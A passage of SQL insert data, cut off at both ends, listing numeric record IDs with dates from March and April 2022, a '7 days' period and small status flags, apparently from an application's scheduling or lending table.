days',0),(67454,20431,12464,12733,1670,277,'2022-03-07','7 days',0),(67455,17682,12494,12764,1667,277,'2022-03-07','7 days',1),(67456,12022,12494,12764,1667,277,'2022-03-07','7 days',0),(67457,15860,12494,12764,1667,277,'2022-03-07','7 days',0),(67459,17682,12565,12833,1666,277,'2022-03-07','7 days',1),(67462,15860,12565,12833,1666,277,'2022-03-07','7 days',0),(67463,20770,12523,12790,1393,86,'2022-03-09','7 days',0),(67464,20769,12523,12790,1393,86,'2022-03-09','7 days',2),(67465,20768,12523,12790,1393,86,'2022-03-09','7 days',0),(67466,20767,12523,12790,1393,86,'2022-03-09','7 days',0),(67467,20766,12523,12790,1393,86,'2022-03-09','7 days',0),(67468,20765,12523,12790,1393,86,'2022-03-09','7 days',1),(67469,19562,12523,12790,1393,86,'2022-03-09','7 days',0),(67470,19561,12523,12790,1393,86,'2022-03-09','7 days',0),(67471,19560,12523,12790,1393,86,'2022-03-09','7 days',0),(67472,18594,12530,12800,194,45,'2022-03-09','7 days',1),(67473,18593,12530,12800,194,45,'2022-03-09','7 days',1),(67474,18592,12530,12800,194,45,'2022-03-09','7 days',1),(67475,14534,12521,12788,194,45,'2022-03-09','7 days',1),(67476,12532,12521,12788,194,45,'2022-03-09','7 days',1),(67477,11715,12521,12788,194,45,'2022-03-09','7 days',1),(67478,14534,12506,12771,194,45,'2022-03-09','7 days',1),(67479,12531,12506,12771,194,45,'2022-03-09','7 days',1),(67480,11715,12506,12771,194,45,'2022-03-09','7 days',1),(67481,11714,12506,12771,194,45,'2022-03-09','7 days',1),(67482,20789,12579,12848,1251,86,'2022-03-10','7 days',0),(67483,12366,12579,12848,1251,86,'2022-03-10','7 days',0),(67484,12365,12579,12848,1251,86,'2022-03-10','7 days',0),(67485,12364,12579,12848,1251,86,'2022-03-10','7 days',0),(67486,12363,12579,12848,1251,86,'2022-03-10','7 days',0),(67487,12351,12579,12848,1251,86,'2022-03-10','7 days',0),(67488,11848,12579,12848,1251,86,'2022-03-10','7 days',0),(67489,11847,12579,12848,1251,86,'2022-03-10','7 days',0),(67490,11846,12579,12848,1251,86,'2022-03-10','7 days',2),(67491,11582,12579,12848,1251,86,'2022-03-10','7 days',0),(67492,11581,12579,12848,1251,86,'2022-03-10','7 days',2),(67493,11580,12579,12848,1251,86,'2022-03-10','7 days',0),(67494,10962,12579,12848,1251,86,'2022-03-10','7 days',1),(67495,10946,12579,12848,1251,86,'2022-03-10','7 days',2),(67496,9002,12579,12848,1251,86,'2022-03-10','7 days',0),(67497,9000,12579,12848,1251,86,'2022-03-10','7 days',0),(67498,8999,12579,12848,1251,86,'2022-03-10','7 days',1),(67499,18841,12577,12846,1675,86,'2022-03-10','7 days',0),(67500,18840,12577,12846,1675,86,'2022-03-10','7 days',1),(67501,18839,12577,12846,1675,86,'2022-03-10','7 days',1),(67502,18837,12577,12846,1675,86,'2022-03-10','7 days',2),(67503,18836,12577,12846,1675,86,'2022-03-10','7 days',0),(67504,18693,12577,12846,1675,86,'2022-03-10','7 days',0),(67505,18692,12577,12846,1675,86,'2022-03-10','7 days',0),(67506,18691,12577,12846,1675,86,'2022-03-10','7 days',2),(67507,18664,12577,12846,1675,86,'2022-03-10','7 days',0),(67508,18655,12577,12846,1675,86,'2022-03-10','7 days',0),(67509,18654,12577,12846,1675,86,'2022-03-10','7 days',1),(67510,18653,12577,12846,1675,86,'2022-03-10','7 days',0),(67511,18612,12577,12846,1675,86,'2022-03-10','7 days',0),(67512,18611,12577,12846,1675,86,'2022-03-10','7 days',0),(67513,13100,12577,12846,1675,86,'2022-03-10','7 days',1),(67514,12285,12577,12846,1675,86,'2022-03-10','7 days',2),(67515,12281,12577,12846,1675,86,'2022-03-10','7 days',0),(67516,12280,12577,12846,1675,86,'2022-03-10','7 days',0),(67517,10914,12577,12846,1675,86,'2022-03-10','7 days',0),(67518,8996,12577,12846,1675,86,'2022-03-10','7 days',0),(67519,14534,12571,12840,194,45,'2022-03-11','7 days',1),(67520,12532,12571,12840,194,45,'2022-03-11','7 days',1),(67521,12531,12571,12840,194,45,'2022-03-11','7 days',1),(67522,20730,12654,12925,1291,86,'2022-03-13','7 days',0),(67523,20666,12654,12925,1291,86,'2022-03-13','7 days',0),(67524,20665,12654,12925,1291,86,'2022-03-13','7 days',0),(67525,15739,12663,9267,195,45,'2022-03-14','7 days',0),(67526,15737,12663,9267,195,45,'2022-03-14','7 days',1),(67527,15736,12663,9267,195,45,'2022-03-14','7 days',0),(67528,15734,12663,9267,195,45,'2022-03-14','7 days',0),(67529,15730,12663,9267,195,45,'2022-03-14','7 days',0),(67530,17548,12663,9267,195,45,'2022-03-14','7 days',1),(67531,8795,12663,9267,195,45,'2022-03-14','7 days',1),(67532,1000,12663,9267,195,45,'2022-03-14','7 days',1),(67533,15741,12663,9267,195,45,'2022-03-14','7 days',1),(67534,15740,12663,9267,195,45,'2022-03-14','7 days',1),(67535,15738,12663,9267,195,45,'2022-03-14','7 days',2),(67536,15735,12663,9267,195,45,'2022-03-14','7 days',0),(67537,15733,12663,9267,195,45,'2022-03-14','7 days',1),(67538,15732,12663,9267,195,45,'2022-03-14','7 days',0),(67539,15731,12663,9267,195,45,'2022-03-14','7 days',0),(67540,15729,12663,9267,195,45,'2022-03-14','7 days',2),(67541,17548,12665,9267,194,45,'2022-03-15','7 days',1),(67542,20789,12570,12839,1393,86,'2022-03-15','7 days',0),(67543,20731,12570,12839,1393,86,'2022-03-15','7 days',0),(67544,20730,12570,12839,1393,86,'2022-03-15','7 days',0),(67545,20666,12570,12839,1393,86,'2022-03-15','7 days',0),(67546,20665,12570,12839,1393,86,'2022-03-15','7 days',0),(67547,18934,12570,12839,1393,86,'2022-03-15','7 days',0),(67548,18930,12570,12839,1393,86,'2022-03-15','7 days',0),(67549,18929,12570,12839,1393,86,'2022-03-15','7 days',2),(67550,18928,12570,12839,1393,86,'2022-03-15','7 days',2),(67551,18695,12570,12839,1393,86,'2022-03-15','7 days',0),(67552,18562,12570,12839,1393,86,'2022-03-15','7 days',0),(67553,18561,12570,12839,1393,86,'2022-03-15','7 days',0),(67554,18560,12570,12839,1393,86,'2022-03-15','7 days',2),(67555,17502,12570,12839,1393,86,'2022-03-15','7 days',0),(67556,16739,12570,12839,1393,86,'2022-03-15','7 days',0),(67557,16024,12570,12839,1393,86,'2022-03-15','7 days',0),(67558,15975,12570,12839,1393,86,'2022-03-15','7 days',2),(67559,15589,12570,12839,1393,86,'2022-03-15','7 days',0),(67560,15588,12570,12839,1393,86,'2022-03-15','7 days',1),(67561,15587,12570,12839,1393,86,'2022-03-15','7 days',0),(67562,15586,12570,12839,1393,86,'2022-03-15','7 days',0),(67563,15365,12570,12839,1393,86,'2022-03-15','7 days',2),(67564,15364,12570,12839,1393,86,'2022-03-15','7 days',2),(67565,15363,12570,12839,1393,86,'2022-03-15','7 days',1),(67566,15362,12570,12839,1393,86,'2022-03-15','7 days',1),(67567,13671,12570,12839,1393,86,'2022-03-15','7 days',2),(67568,13670,12570,12839,1393,86,'2022-03-15','7 days',0),(67569,13097,12570,12839,1393,86,'2022-03-15','7 days',0),(67570,13096,12570,12839,1393,86,'2022-03-15','7 days',0),(67571,12362,12570,12839,1393,86,'2022-03-15','7 days',0),(67572,12352,12570,12839,1393,86,'2022-03-15','7 days',0),(67573,11847,12570,12839,1393,86,'2022-03-15','7 days',0),(67574,17548,12572,12841,194,45,'2022-03-16','7 days',1),(67575,14685,12664,9267,194,45,'2022-03-16','7 days',1),(67576,14684,12664,9267,194,45,'2022-03-16','7 days',1),(67577,13913,12664,9267,194,45,'2022-03-16','7 days',0),(67578,15676,12661,9267,194,45,'2022-03-16','7 days',1),(67579,15675,12661,9267,194,45,'2022-03-16','7 days',1),(67580,999,12661,9267,194,45,'2022-03-16','7 days',0),(67581,11689,12660,9267,194,45,'2022-03-16','7 days',1),(67582,11688,12660,9267,194,45,'2022-03-16','7 days',2),(67583,11687,12660,9267,194,45,'2022-03-16','7 days',1),(67584,14534,12581,12850,194,45,'2022-03-17','7 days',1),(67585,12532,12581,12850,194,45,'2022-03-17','7 days',1),(67586,11714,12581,12850,194,45,'2022-03-17','7 days',1),(67587,18594,12582,12851,194,45,'2022-03-17','7 days',1),(67588,18593,12582,12851,194,45,'2022-03-17','7 days',1),(67589,14685,12656,9267,194,45,'2022-03-17','7 days',1),(67590,13913,12656,9267,194,45,'2022-03-17','7 days',2),(67591,11518,12657,9267,194,45,'2022-03-17','7 days',1),(67592,11350,12657,9267,194,45,'2022-03-17','7 days',1),(67593,11300,12657,9267,194,45,'2022-03-17','7 days',0),(67594,21365,12548,12811,1780,971,'2022-03-18','7 days',0),(67595,14534,12667,9267,194,45,'2022-03-21','7 days',1),(67596,12532,12667,9267,194,45,'2022-03-21','7 days',1),(67597,12531,12667,9267,194,45,'2022-03-21','7 days',1),(67598,11715,12667,9267,194,45,'2022-03-21','7 days',1),(67599,11714,12667,9267,194,45,'2022-03-21','7 days',1),(67600,10976,12667,9267,194,45,'2022-03-21','7 days',1),(67601,10975,12667,9267,194,45,'2022-03-21','7 days',1),(67602,5467,12667,9267,194,45,'2022-03-21','7 days',1),(67603,1989,12667,9267,194,45,'2022-03-21','7 days',1),(67604,671,12666,12928,160,73,'2022-03-21','7 days',0),(67605,660,12666,12928,160,73,'2022-03-21','7 days',0),(67606,9009,12666,12928,160,73,'2022-03-21','7 days',0),(67607,9008,12666,12928,160,73,'2022-03-21','7 days',0),(67608,665,12666,12928,160,73,'2022-03-21','7 days',0),(67609,662,12666,12928,160,73,'2022-03-21','7 days',0),(67610,633,12666,12928,160,73,'2022-03-21','7 days',0),(67611,17682,12329,4939,1663,277,'2022-03-22','7 days',1),(67612,17681,12329,4939,1663,277,'2022-03-22','7 days',0),(67613,15861,12329,4939,1663,277,'2022-03-22','7 days',0),(67614,15860,12329,4939,1663,277,'2022-03-22','7 days',0),(67615,17682,12281,12551,1659,277,'2022-03-22','7 days',1),(67616,15860,12281,12551,1659,277,'2022-03-22','7 days',0),(67617,14534,12658,9267,194,45,'2022-03-22','7 days',1),(67618,12532,12658,9267,194,45,'2022-03-22','7 days',1),(67619,11715,12658,9267,194,45,'2022-03-22','7 days',1),(67620,11714,12659,9267,194,45,'2022-03-22','7 days',1),(67621,10976,12659,9267,194,45,'2022-03-22','7 days',1),(67622,10975,12659,9267,194,45,'2022-03-22','7 days',1),(67623,17682,11493,11876,1667,277,'2022-03-22','7 days',1),(67624,20436,12274,12543,1668,277,'2022-03-22','7 days',0),(67625,20434,12274,12543,1668,277,'2022-03-22','7 days',0),(67626,21366,12273,12542,1665,277,'2022-03-22','7 days',0),(67627,20410,12273,12542,1665,277,'2022-03-22','7 days',0),(67628,20432,12274,12543,1668,277,'2022-03-22','7 days',0),(67629,17682,12272,12541,1661,277,'2022-03-22','7 days',1),(67630,17681,12272,12541,1661,277,'2022-03-22','7 days',0),(67631,15861,12272,12541,1661,277,'2022-03-22','7 days',0),(67632,15860,12272,12541,1661,277,'2022-03-22','7 days',0),(67633,17682,12271,12540,1668,277,'2022-03-22','7 days',1),(67634,17681,12271,12540,1668,277,'2022-03-22','7 days',0),(67635,17681,12075,12371,1668,277,'2022-03-22','7 days',0),(67636,15861,12075,12371,1668,277,'2022-03-22','7 days',0),(67637,15855,12076,12372,1670,277,'2022-03-22','7 days',0),(67638,15854,12076,12372,1670,277,'2022-03-22','7 days',0),(67639,15859,12015,12315,1666,277,'2022-03-22','7 days',0),(67640,15858,12015,12315,1666,277,'2022-03-22','7 days',0),(67641,12022,11476,11876,1666,277,'2022-03-22','7 days',0),(67642,12021,11476,11876,1666,277,'2022-03-22','7 days',0),(67643,12024,11980,12281,1662,277,'2022-03-22','7 days',0),(67644,12023,11980,12281,1662,277,'2022-03-22','7 days',0),(67645,9012,12666,12928,160,73,'2022-03-23','7 days',0),(67646,8784,12666,12928,160,73,'2022-03-23','7 days',1),(67647,8783,12666,12928,160,73,'2022-03-23','7 days',0),(67648,656,12666,12928,160,73,'2022-03-23','7 days',0),(67649,653,12666,12928,160,73,'2022-03-23','7 days',0),(67650,20413,12676,12939,1666,277,'2022-03-24','7 days',0),(67651,20412,12676,12939,1666,277,'2022-03-24','7 days',0),(67652,20411,12676,12939,1666,277,'2022-03-24','7 days',0),(67653,17681,12675,12936,1661,277,'2022-03-24','7 days',0),(67654,15861,12675,12936,1661,277,'2022-03-24','7 days',0),(67655,15746,12674,12935,1661,277,'2022-03-24','7 days',1),(67656,13354,12674,12935,1661,277,'2022-03-24','7 days',0),(67657,11844,12673,12934,1659,277,'2022-03-24','7 days',0),(67658,11659,12673,12934,1659,277,'2022-03-24','7 days',0),(67659,11969,12668,12929,1675,86,'2022-03-24','7 days',0),(67660,11967,12668,12929,1675,86,'2022-03-24','7 days',0),(67661,11965,12668,12929,1675,86,'2022-03-24','7 days',0),(67662,11964,12668,12929,1675,86,'2022-03-24','7 days',0),(67663,11962,12668,12929,1675,86,'2022-03-24','7 days',0),(67664,11961,12668,12929,1675,86,'2022-03-24','7 days',0),(67665,11959,12668,12929,1675,86,'2022-03-24','7 days',0),(67666,11957,12668,12929,1675,86,'2022-03-24','7 days',0),(67667,11954,12668,12929,1675,86,'2022-03-24','7 days',0),(67668,11951,12668,12929,1675,86,'2022-03-24','7 days',2),(67669,11949,12668,12929,1675,86,'2022-03-24','7 days',2),(67670,657,12666,12928,160,73,'2022-03-24','7 days',0),(67671,670,12666,12928,160,73,'2022-03-24','7 days',0),(67672,21367,12522,12789,161,73,'2022-03-24','7 days',0),(67673,21364,12668,12929,1675,86,'2022-03-24','7 days',0),(67674,21363,12668,12929,1675,86,'2022-03-24','7 days',0),(67675,21362,12668,12929,1675,86,'2022-03-24','7 days',0),(67676,21361,12668,12929,1675,86,'2022-03-24','7 days',0),(67677,21360,12668,12929,1675,86,'2022-03-24','7 days',2),(67678,21359,12668,12929,1675,86,'2022-03-24','7 days',0),(67679,21358,12668,12929,1675,86,'2022-03-24','7 days',0),(67680,21357,12668,12929,1675,86,'2022-03-24','7 days',1),(67681,21356,12668,12929,1675,86,'2022-03-24','7 days',0),(67682,21355,12668,12929,1675,86,'2022-03-24','7 days',0),(67683,21354,12668,12929,1675,86,'2022-03-24','7 days',0),(67684,21353,12668,12929,1675,86,'2022-03-24','7 days',0),(67685,19782,12668,12929,1675,86,'2022-03-24','7 days',0),(67686,19781,12668,12929,1675,86,'2022-03-24','7 days',2),(67687,19780,12668,12929,1675,86,'2022-03-24','7 days',0),(67688,19779,12668,12929,1675,86,'2022-03-24','7 days',0),(67689,20667,12579,12848,1251,86,'2022-03-24','7 days',0),(67690,18980,12579,12848,1251,86,'2022-03-24','7 days',0),(67691,18979,12579,12848,1251,86,'2022-03-24','7 days',0),(67692,18978,12579,12848,1251,86,'2022-03-24','7 days',0),(67693,18977,12579,12848,1251,86,'2022-03-24','7 days',0),(67694,18976,12579,12848,1251,86,'2022-03-24','7 days',0),(67695,18975,12579,12848,1251,86,'2022-03-24','7 days',0),(67696,18974,12579,12848,1251,86,'2022-03-24','7 days',0),(67697,18973,12579,12848,1251,86,'2022-03-24','7 days',0),(67698,18972,12579,12848,1251,86,'2022-03-24','7 days',0),(67699,18971,12579,12848,1251,86,'2022-03-24','7 days',0),(67700,18970,12579,12848,1251,86,'2022-03-24','7 days',0),(67701,18969,12579,12848,1251,86,'2022-03-24','7 days',0),(67702,15570,12579,12848,1251,86,'2022-03-24','7 days',0),(67703,15569,12579,12848,1251,86,'2022-03-24','7 days',0),(67704,10682,12579,12848,1251,86,'2022-03-24','7 days',0),(67705,10681,12579,12848,1251,86,'2022-03-24','7 days',0),(67706,10680,12579,12848,1251,86,'2022-03-24','7 days',0),(67707,10679,12579,12848,1251,86,'2022-03-24','7 days',0),(67708,10678,12579,12848,1251,86,'2022-03-24','7 days',0),(67709,10677,12579,12848,1251,86,'2022-03-24','7 days',0),(67710,10676,12579,12848,1251,86,'2022-03-24','7 days',0),(67711,14534,12680,12943,194,45,'2022-03-24','7 days',1),(67712,12532,12680,12943,194,45,'2022-03-24','7 days',1),(67713,12531,12680,12943,194,45,'2022-03-24','7 days',1),(67714,11715,12680,12943,194,45,'2022-03-24','7 days',1),(67715,11714,12680,12943,194,45,'2022-03-24','7 days',1),(67716,10976,12680,12943,194,45,'2022-03-24','7 days',1),(67717,10975,12680,12943,194,45,'2022-03-24','7 days',1),(67718,5467,12680,12943,194,45,'2022-03-24','7 days',1),(67719,1989,12680,12943,194,45,'2022-03-24','7 days',1),(67720,18594,12670,12931,194,45,'2022-03-26','7 days',1),(67721,18593,12670,12931,194,45,'2022-03-26','7 days',1),(67722,18592,12670,12931,194,45,'2022-03-26','7 days',1),(67723,11845,12670,12931,194,45,'2022-03-26','7 days',1),(67724,18593,12669,12930,194,45,'2022-03-26','7 days',1),(67725,18592,12669,12930,194,45,'2022-03-26','7 days',1),(67726,11845,12669,12930,194,45,'2022-03-26','7 days',1),(67727,21319,12684,12946,160,73,'2022-03-28','7 days',0),(67728,21318,12684,12946,160,73,'2022-03-28','7 days',0),(67729,21316,12684,12946,160,73,'2022-03-28','7 days',0),(67730,21315,12684,12946,160,73,'2022-03-28','7 days',0),(67731,21313,12684,12946,160,73,'2022-03-28','7 days',0),(67732,9010,12683,12945,161,73,'2022-03-28','7 days',0),(67733,8785,12683,12945,161,73,'2022-03-28','7 days',0),(67734,651,12683,12945,161,73,'2022-03-28','7 days',0),(67735,644,12683,12945,161,73,'2022-03-28','7 days',0),(67736,643,12683,12945,161,73,'2022-03-28','7 days',0),(67737,641,12683,12945,161,73,'2022-03-28','7 days',0),(67738,9010,12666,12928,160,73,'2022-03-28','7 days',0),(67739,21319,12666,12928,160,73,'2022-03-28','7 days',0),(67740,20667,12681,12944,1675,86,'2022-03-30','7 days',0),(67741,18980,12681,12944,1675,86,'2022-03-30','7 days',0),(67742,18979,12681,12944,1675,86,'2022-03-30','7 days',0),(67743,18978,12681,12944,1675,86,'2022-03-30','7 days',0),(67744,18977,12681,12944,1675,86,'2022-03-30','7 days',0),(67745,18976,12681,12944,1675,86,'2022-03-30','7 days',0),(67746,18975,12681,12944,1675,86,'2022-03-30','7 days',0),(67747,18974,12681,12944,1675,86,'2022-03-30','7 days',0),(67748,18973,12681,12944,1675,86,'2022-03-30','7 days',0),(67749,18972,12681,12944,1675,86,'2022-03-30','7 days',0),(67750,18971,12681,12944,1675,86,'2022-03-30','7 days',0),(67751,18970,12681,12944,1675,86,'2022-03-30','7 days',0),(67752,18969,12681,12944,1675,86,'2022-03-30','7 days',0),(67753,15570,12681,12944,1675,86,'2022-03-30','7 days',0),(67754,15569,12681,12944,1675,86,'2022-03-30','7 days',0),(67755,10682,12681,12944,1675,86,'2022-03-30','7 days',0),(67756,10681,12681,12944,1675,86,'2022-03-30','7 days',0),(67757,10680,12681,12944,1675,86,'2022-03-30','7 days',0),(67758,10679,12681,12944,1675,86,'2022-03-30','7 days',0),(67759,10678,12681,12944,1675,86,'2022-03-30','7 days',0),(67760,10677,12681,12944,1675,86,'2022-03-30','7 days',0),(67761,10676,12681,12944,1675,86,'2022-03-30','7 days',0),(67762,17682,12676,12939,1666,277,'2022-03-30','7 days',1),(67763,17681,12676,12939,1666,277,'2022-03-30','7 days',0),(67764,15861,12676,12939,1666,277,'2022-03-30','7 days',0),(67765,17682,12675,12936,1661,277,'2022-03-30','7 days',1),(67766,15860,12675,12936,1661,277,'2022-03-30','7 days',0),(67767,15856,12675,12936,1661,277,'2022-03-30','7 days',0),(67768,15855,12675,12936,1661,277,'2022-03-30','7 days',0),(67769,17682,12674,12935,1661,277,'2022-03-30','7 days',1),(67770,15854,12675,12936,1661,277,'2022-03-30','7 days',0),(67771,17681,12674,12935,1661,277,'2022-03-30','7 days',0),(67772,15861,12674,12935,1661,277,'2022-03-30','7 days',0),(67773,15860,12674,12935,1661,277,'2022-03-30','7 days',0),(67774,17682,12673,12934,1659,277,'2022-03-30','7 days',1),(67775,17681,12673,12934,1659,277,'2022-03-30','7 days',0),(67776,15861,12673,12934,1659,277,'2022-03-30','7 days',0),(67777,17681,12565,12833,1666,277,'2022-03-30','7 days',0),(67778,15861,12565,12833,1666,277,'2022-03-30','7 days',0),(67779,15859,12565,12833,1666,277,'2022-03-30','7 days',0),(67780,17681,12494,12764,1667,277,'2022-03-30','7 days',0),(67781,15861,12494,12764,1667,277,'2022-03-30','7 days',0),(67782,17682,12464,12733,1670,277,'2022-03-30','7 days',1),(67783,17681,12464,12733,1670,277,'2022-03-30','7 days',0),(67784,15857,12329,4939,1663,277,'2022-03-30','7 days',0),(67785,15861,12464,12733,1670,277,'2022-03-30','7 days',0),(67786,15856,12329,4939,1663,277,'2022-03-30','7 days',0),(67787,17681,12281,12551,1659,277,'2022-03-30','7 days',0),(67788,15861,12281,12551,1659,277,'2022-03-30','7 days',0),(67789,15857,12281,12551,1659,277,'2022-03-30','7 days',0),(67790,15856,12281,12551,1659,277,'2022-03-30','7 days',0),(67791,12026,12274,12543,1668,277,'2022-03-30','7 days',0),(67792,12025,12274,12543,1668,277,'2022-03-30','7 days',0),(67793,17682,12273,12542,1665,277,'2022-03-30','7 days',1),(67794,17681,12273,12542,1665,277,'2022-03-30','7 days',0),(67795,15707,12697,12960,195,45,'2022-03-30','7 days',0),(67796,14165,12697,12960,195,45,'2022-03-30','7 days',0),(67797,13523,12697,12960,195,45,'2022-03-30','7 days',0),(67798,13522,12697,12960,195,45,'2022-03-30','7 days',0),(67799,12900,12697,12960,195,45,'2022-03-30','7 days',2),(67800,12867,12697,12960,195,45,'2022-03-30','7 days',1),(67801,12776,12697,12960,195,45,'2022-03-30','7 days',1),(67802,12597,12697,12960,195,45,'2022-03-30','7 days',1),(67803,10058,12697,12960,195,45,'2022-03-30','7 days',0),(67804,911,12697,12960,195,45,'2022-03-30','7 days',0),(67805,910,12697,12960,195,45,'2022-03-30','7 days',0),(67806,909,12697,12960,195,45,'2022-03-30','7 days',0),(67807,908,12697,12960,195,45,'2022-03-30','7 days',0),(67808,907,12697,12960,195,45,'2022-03-30','7 days',0),(67809,906,12697,12960,195,45,'2022-03-30','7 days',0),(67810,905,12697,12960,195,45,'2022-03-30','7 days',0),(67811,904,12697,12960,195,45,'2022-03-30','7 days',0),(67812,903,12697,12960,195,45,'2022-03-30','7 days',0),(67813,902,12697,12960,195,45,'2022-03-30','7 days',0),(67814,15860,12676,12939,1666,277,'2022-03-31','7 days',0),(67815,15859,12676,12939,1666,277,'2022-03-31','7 days',0),(67816,15859,12675,12936,1661,277,'2022-03-31','7 days',0),(67817,15858,12675,12936,1661,277,'2022-03-31','7 days',0),(67818,12971,12674,12935,1661,277,'2022-03-31','7 days',0),(67819,12027,12674,12935,1661,277,'2022-03-31','7 days',0),(67820,15746,12673,12934,1659,277,'2022-03-31','7 days',1),(67821,13354,12673,12934,1659,277,'2022-03-31','7 days',0),(67822,12971,12673,12934,1659,277,'2022-03-31','7 days',0),(67823,15856,12673,12934,1659,277,'2022-03-31','7 days',0),(67824,15855,12673,12934,1659,277,'2022-03-31','7 days',0),(67825,15856,12565,12833,1666,277,'2022-03-31','7 days',0),(67826,15855,12565,12833,1666,277,'2022-03-31','7 days',0),(67827,15857,12494,12764,1667,277,'2022-03-31','7 days',0),(67828,15856,12494,12764,1667,277,'2022-03-31','7 days',0),(67829,15855,12494,12764,1667,277,'2022-03-31','7 days',0),(67830,17681,11493,11876,1667,277,'2022-03-31','7 days',0),(67831,15861,11493,11876,1667,277,'2022-03-31','7 days',0),(67832,15860,11493,11876,1667,277,'2022-03-31','7 days',0),(67833,15859,11493,11876,1667,277,'2022-03-31','7 days',0),(67834,15857,11493,11876,1667,277,'2022-03-31','7 days',0),(67835,15856,11493,11876,1667,277,'2022-03-31','7 days',0),(67836,15861,11980,12281,1662,277,'2022-03-31','7 days',0),(67837,15860,11980,12281,1662,277,'2022-03-31','7 days',0),(67838,17682,11980,12281,1662,277,'2022-03-31','7 days',1),(67839,17681,11980,12281,1662,277,'2022-03-31','7 days',0),(67840,17682,12015,12315,1666,277,'2022-03-31','7 days',1),(67841,17681,12015,12315,1666,277,'2022-03-31','7 days',0),(67842,15854,12015,12315,1666,277,'2022-03-31','7 days',0),(67843,15746,12015,12315,1666,277,'2022-03-31','7 days',1),(67844,15861,12273,12542,1665,277,'2022-03-31','7 days',0),(67845,15860,12273,12542,1665,277,'2022-03-31','7 days',0),(67846,17682,12076,12372,1670,277,'2022-03-31','7 days',1),(67847,17681,12076,12372,1670,277,'2022-03-31','7 days',0),(67848,15861,12076,12372,1670,277,'2022-03-31','7 days',0),(67849,15860,12076,12372,1670,277,'2022-03-31','7 days',0),(67850,15857,12272,12541,1661,277,'2022-03-31','7 days',0),(67851,15856,12272,12541,1661,277,'2022-03-31','7 days',0),(67852,20671,12075,12371,1668,277,'2022-03-31','7 days',0),(67853,20414,12075,12371,1668,277,'2022-03-31','7 days',0),(67854,20405,12271,12540,1668,277,'2022-03-31','7 days',0),(67855,9901,12676,12939,1666,277,'2022-04-01','7 days',0),(67856,9900,12676,12939,1666,277,'2022-04-01','7 days',0),(67857,20410,12676,12939,1666,277,'2022-04-01','7 days',0),(67858,20409,12676,12939,1666,277,'2022-04-01','7 days',0),(67859,20408,12676,12939,1666,277,'2022-04-01','7 days',0),(67860,20414,12675,12936,1661,277,'2022-04-01','7 days',0),(67861,20413,12675,12936,1661,277,'2022-04-01','7 days',0),(67862,20438,12674,12935,1661,277,'2022-04-01','7 days',0),(67863,20437,12674,12935,1661,277,'2022-04-01','7 days',0),(67864,15859,12674,12935,1661,277,'2022-04-01','7 days',0),(67865,15858,12674,12935,1661,277,'2022-04-01','7 days',0),(67866,15860,12673,12934,1659,277,'2022-04-01','7 days',0),(67867,15859,12673,12934,1659,277,'2022-04-01','7 days',0),(67868,15858,12565,12833,1666,277,'2022-04-01','7 days',0),(67869,15857,12565,12833,1666,277,'2022-04-01','7 days',0),(67870,15854,12565,12833,1666,277,'2022-04-01','7 days',0),(67871,12971,12565,12833,1666,277,'2022-04-01','7 days',0),(67872,15746,12565,12833,1666,277,'2022-04-01','7 days',1),(67873,12027,12565,12833,1666,277,'2022-04-01','7 days',0),(67874,15859,12494,12764,1667,277,'2022-04-01','7 days',0),(67875,15858,12494,12764,1667,277,'2022-04-01','7 days',0),(67876,15854,12494,12764,1667,277,'2022-04-01','7 days',0),(67877,20437,12464,12733,1670,277,'2022-04-01','7 days',0),(67878,20435,12464,12733,1670,277,'2022-04-01','7 days',0),(67879,15857,12464,12733,1670,277,'2022-04-01','7 days',0),(67880,15856,12464,12733,1670,277,'2022-04-01','7 days',0),(67881,15859,12329,4939,1663,277,'2022-04-01','7 days',0),(67882,15858,12329,4939,1663,277,'2022-04-01','7 days',0),(67883,15855,12329,4939,1663,277,'2022-04-01','7 days',0),(67884,20671,12329,4939,1663,277,'2022-04-01','7 days',0),(67885,20414,12329,4939,1663,277,'2022-04-01','7 days',0),(67886,9903,12281,12551,1659,277,'2022-04-01','7 days',0),(67887,9902,12281,12551,1659,277,'2022-04-01','7 days',0),(67888,15859,12281,12551,1659,277,'2022-04-01','7 days',0),(67889,15858,12281,12551,1659,277,'2022-04-01','7 days',0),(67890,17682,12274,12543,1668,277,'2022-04-01','7 days',1),(67891,17681,12274,12543,1668,277,'2022-04-01','7 days',0),(67892,15861,12274,12543,1668,277,'2022-04-01','7 days',0),(67893,15860,12274,12543,1668,277,'2022-04-01','7 days',0),(67894,15859,12273,12542,1665,277,'2022-04-01','7 days',0),(67895,15858,12273,12542,1665,277,'2022-04-01','7 days',0),(67896,15856,12273,12542,1665,277,'2022-04-01','7 days',0),(67897,15855,12273,12542,1665,277,'2022-04-01','7 days',0),(67898,15861,12271,12540,1668,277,'2022-04-01','7 days',0),(67899,15860,12271,12540,1668,277,'2022-04-01','7 days',0),(67900,17682,12075,12371,1668,277,'2022-04-01','7 days',1),(67901,15860,12075,12371,1668,277,'2022-04-01','7 days',0),(67902,20438,12271,12540,1668,277,'2022-04-01','7 days',0),(67903,20433,12271,12540,1668,277,'2022-04-01','7 days',0),(67904,15859,12272,12541,1661,277,'2022-04-01','7 days',0),(67905,15858,12272,12541,1661,277,'2022-04-01','7 days',0),(67906,15854,12075,12371,1668,277,'2022-04-01','7 days',0),(67907,15746,12075,12371,1668,277,'2022-04-01','7 days',1),(67908,15859,11980,12281,1662,277,'2022-04-01','7 days',0),(67909,15858,11980,12281,1662,277,'2022-04-01','7 days',0),(67910,21373,12699,7494,195,45,'2022-04-04','7 days',1),(67911,21372,12699,7494,195,45,'2022-04-04','7 days',2),(67912,21370,12699,7494,195,45,'2022-04-04','7 days',0),(67913,21369,12699,7494,195,45,'2022-04-04','7 days',1),(67914,21368,12699,7494,195,45,'2022-04-04','7 days',0),(67915,673,12666,12928,160,73,'2022-04-04','7 days',0),(67916,667,12666,12928,160,73,'2022-04-04','7 days',0),(67917,666,12666,12928,160,73,'2022-04-04','7 days',0),(67918,8785,12666,12928,160,73,'2022-04-04','7 days',0),(67919,8782,12666,12928,160,73,'2022-04-04','7 days',0),(67920,652,12666,12928,160,73,'2022-04-04','7 days',0),(67921,651,12666,12928,160,73,'2022-04-04','7 days',0),(67922,644,12666,12928,160,73,'2022-04-04','7 days',0),(67923,18594,12703,12967,195,45,'2022-04-07','7 days',1),(67924,18593,12703,12967,195,45,'2022-04-07','7 days',1),(67925,18592,12703,12967,195,45,'2022-04-07','7 days',1),(67926,11845,12703,12967,195,45,'2022-04-07','7 days',1),(67927,11578,12703,12967,195,45,'2022-04-07','7 days',1),(67928,8784,12688,12950,161,73,'2022-04-07','7 days',1),(67929,8783,12688,12950,161,73,'2022-04-07','7 days',0),(67930,656,12688,12950,161,73,'2022-04-07','7 